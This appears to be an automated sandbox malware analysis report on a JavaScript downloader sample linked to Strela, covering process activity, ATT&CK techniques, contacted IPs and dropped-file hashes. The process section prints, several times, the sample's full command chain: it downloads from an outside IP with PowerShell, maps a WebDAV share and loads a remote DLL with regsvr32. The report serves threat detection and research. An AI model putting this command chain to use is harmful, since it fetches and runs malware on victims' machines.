Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
853025795686920641.js	7%	Virustotal		Browse
853025795686920641.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tem	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000006.00000002.1763374210.000002D593478000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3010549769.0000022E5E600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/4	net.exe, 00000006.00000002.1763560179.000002D59349E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1760570536.000002D59349E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1763517212.0000022E5E8C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1763560179.000002D59349E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1763763328.000002D5934CC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1763374210.000002D593478000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1760570536.000002D59349E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1760208760.000002D5934CA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1763517212.0000022E5E8C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587894
Start date and time:	2025-01-10 19:05:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	853025795686920641.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.107, 2.16.168.105, 18.213.11.84, 50.16.47.176, 54.224.241.105, 34.237.241.83, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 23.57.90.71, 23.57.90.79, 23.57.90.74, 23.57.90.77, 23.57.90.70, 23.57.90.75, 20.12.23.50, 23.217.172.185, 13.95.31.18, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:06:15	API Interceptor	22x Sleep call for process: powershell.exe modified
13:06:19	API Interceptor	1x Sleep call for process: net.exe modified
13:06:19	API Interceptor	2x Sleep call for process: svchost.exe modified
13:06:32	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	620128062590131002.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972511502582515381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073476208505117
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvro:KooCEYhgYEL0In
MD5:	51F8CC25AAA3B0ED61F359FBAC0ED877
SHA1:	D0817780086317BBAA2D3DCA5511F96712125621
SHA-256:	F0F6F892ECCE8C6846C84AE41DFCB25547BA6ECD5C78DCB09E4F65B5A13F5266
SHA-512:	39FBF1783AFDF29D58CDEA9168D2DD2A2552A489238801B2A03D3145A761F105251D8449B980C40C5245EBEBBD42FA5488EF7096F16B91CF8A37B28C1704C524
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa361e1bf, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42214454088806486
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:haza/vMUM2Uvz7DO
MD5:	79356C0226E5BBB52A004A745668AE44
SHA1:	E004B1EBCF5C698964D706E374BEC614733D45F6
SHA-256:	BAD9858DE898D686CDBDC001E549C2000DC5ADF381D5E9B6FAA427D4059FC4D3
SHA-512:	B5088C8E066C5E3BD46F32427DFD4314A714B4F1A4947FF4953BB45416738E72F6C7B7A2BEFEDF146375EF555324183A52E24D17BCF5B7BFA632595CD95E1292
Malicious:	false
Preview:	.a.... .......A.......X\...;...{......................0.!..........{A......}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................jD$t.....}O..........................}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07661025767302912
Encrypted:	false
SSDEEP:	3:GyYeBI+djjn13a/XeklXallcVO/lnlZMxZNQl:GyzB5j53qxeOewk
MD5:	901913BC1C56FCE921C2193AF4A3426F
SHA1:	8A0C2BB1FEABF8C5098F0DE9C04A6B2004C0AFFE
SHA-256:	CAD596962E18F5E8A0025EAEB2394FD31348F94AA0C4E1F2E6CEBD6A4D99E260
SHA-512:	686DDCC83112C09042B69F15A412FB896B62FE61D4D51D28C9F57096A1543A541DADF455717C76DF8FA1D4B6553A46391CA2A3D944104EDFC7E4957D5CD57ACB
Malicious:	false
Preview:	..b......................................;...{.......}.......{A..............{A......{A..........{A].........................}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.204478183717499
Encrypted:	false
SSDEEP:	6:iO4WjISQ+q2Pwkn2nKuAl9OmbnIFUtSWdQgZmwsWdQQVkwOwkn2nKuAl9OmbjLJ:7njrVvYfHAahFUtd6g/j6I5JfHAaSJ
MD5:	FA4826DA992B7DC95A11E1289BAE7579
SHA1:	1C9356B5500DB3098FDA621B295386E91236C202
SHA-256:	45A90A62250A4643DAE1B86CD3297DBF81D3708EFB8B0B53C5345BB1F4D60A3E
SHA-512:	8F9EF77956B690277650340B7CCA8A823235047C147081DF3DBC37D85EB4293C1F831C522D7B4E8C85EA2E842C166D259E5B7091FCA21D8D5F755C0987CECA55
Malicious:	false
Preview:	2025/01/10-13:06:19.359 1f58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:06:19.361 1f58 Recovering log #3.2025/01/10-13:06:19.361 1f58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.204478183717499
Encrypted:	false
SSDEEP:	6:iO4WjISQ+q2Pwkn2nKuAl9OmbnIFUtSWdQgZmwsWdQQVkwOwkn2nKuAl9OmbjLJ:7njrVvYfHAahFUtd6g/j6I5JfHAaSJ
MD5:	FA4826DA992B7DC95A11E1289BAE7579
SHA1:	1C9356B5500DB3098FDA621B295386E91236C202
SHA-256:	45A90A62250A4643DAE1B86CD3297DBF81D3708EFB8B0B53C5345BB1F4D60A3E
SHA-512:	8F9EF77956B690277650340B7CCA8A823235047C147081DF3DBC37D85EB4293C1F831C522D7B4E8C85EA2E842C166D259E5B7091FCA21D8D5F755C0987CECA55
Malicious:	false
Preview:	2025/01/10-13:06:19.359 1f58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:06:19.361 1f58 Recovering log #3.2025/01/10-13:06:19.361 1f58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.188774879849314
Encrypted:	false
SSDEEP:	6:iO4WIbOq2Pwkn2nKuAl9Ombzo2jMGIFUtSWzJZZmwsWzJzkwOwkn2nKuAl9Ombzz:7nICvYfHAa8uFUtdzT/jzJ5JfHAa8RJ
MD5:	5E71E485B42BFF36947579E03ABE1D08
SHA1:	DA7F73AE7EBBB8961013BAF1B82B2D5324EBFCF1
SHA-256:	284E5B6BC5FF76CE1B42DF5DB148C56DA14E49A186F015F6C7917AAA78B5EB34
SHA-512:	8655EE748A3907FB45FF563497FF178C5D87F27886400F50C9B7F77330ECA23F6614A6E252A4D6656D8CC1E9C092E097837BF3F5A86AA70C1DE486C4A2508CFC
Malicious:	false
Preview:	2025/01/10-13:06:19.414 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:06:19.415 1c84 Recovering log #3.2025/01/10-13:06:19.415 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.188774879849314
Encrypted:	false
SSDEEP:	6:iO4WIbOq2Pwkn2nKuAl9Ombzo2jMGIFUtSWzJZZmwsWzJzkwOwkn2nKuAl9Ombzz:7nICvYfHAa8uFUtdzT/jzJ5JfHAa8RJ
MD5:	5E71E485B42BFF36947579E03ABE1D08
SHA1:	DA7F73AE7EBBB8961013BAF1B82B2D5324EBFCF1
SHA-256:	284E5B6BC5FF76CE1B42DF5DB148C56DA14E49A186F015F6C7917AAA78B5EB34
SHA-512:	8655EE748A3907FB45FF563497FF178C5D87F27886400F50C9B7F77330ECA23F6614A6E252A4D6656D8CC1E9C092E097837BF3F5A86AA70C1DE486C4A2508CFC
Malicious:	false
Preview:	2025/01/10-13:06:19.414 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:06:19.415 1c84 Recovering log #3.2025/01/10-13:06:19.415 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\141db8a1-5364-4c8d-bdcb-519fa3d4c6e0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9974b2ac-8bef-4e86-b0e1-cc887e32c379.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.972381811521056
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvh7SsBdOg2Hqgcaq3QYiubInP7E4TX:Y2sRdsodMHqL3QYhbG7n7
MD5:	25FFC0B3A3F6C7D4C15C32368913E068
SHA1:	CB98C5F52FF4CD7FFFD9F66872CC9FABA8139339
SHA-256:	69C346F4287A98DF47141D20F6812C0F9C22714B2135DC526D6CF0BF4CC2143D
SHA-512:	A119D8CD403C57A76D40AF3A94BCE23A9F6ED841407CBE0BCB4DF7FBFE7FE381FB4218DEE8D474E4B84939A153ED7627A73D509B70AA0B3D3ED09BE545709392
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381092391960577","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":142998},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF652966.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.255090955057655
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7KJHe:etJCV4FiN/jTN/2r8Mta02fEhgO73go5
MD5:	709FB753A2ECF96B8C1B765E396C7D85
SHA1:	C4C772D8B814635E4C2C8E84D8D183B92A70E376
SHA-256:	EF91A12DE64BA3016DE645A9DC208526629DA3060907545D323CA913137ECCB7
SHA-512:	5DDD7792412454C34C705C46B571742B460B4E78C5EC239ACEDA9690ED309B3041AC686F257B913CD47C4236C277AEE96BB9E979BBCCCF2D72ADC0242877FC3D
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.2017809174120275
Encrypted:	false
SSDEEP:	6:iO4WmIq2Pwkn2nKuAl9OmbzNMxIFUtSWYZmwsWRKFzkwOwkn2nKuAl9OmbzNMFLJ:7nPvYfHAa8jFUtdY/jRKFz5JfHAa84J
MD5:	8CDC30F3A62D3AE23306CC53A429C4DA
SHA1:	ACF92D6C814EE91E89D66B6770BB4D0E63D890AC
SHA-256:	645F0A50EA4DAAA3BB1A83832102F62ACF4EB15E0B6CDA85895AD34B1EA56273
SHA-512:	8146C5AACCDA7FA99A7B0A5F85CC1275CFCA609804D2972AD36540D733E91891A3922128BCEBD4A409A2EEE2B398C75FC00D17AFE0115F958E0A8F54EA6F2BAA
Malicious:	false
Preview:	2025/01/10-13:06:19.517 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:06:19.519 1c84 Recovering log #3.2025/01/10-13:06:19.520 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.2017809174120275
Encrypted:	false
SSDEEP:	6:iO4WmIq2Pwkn2nKuAl9OmbzNMxIFUtSWYZmwsWRKFzkwOwkn2nKuAl9OmbzNMFLJ:7nPvYfHAa8jFUtdY/jRKFz5JfHAa84J
MD5:	8CDC30F3A62D3AE23306CC53A429C4DA
SHA1:	ACF92D6C814EE91E89D66B6770BB4D0E63D890AC
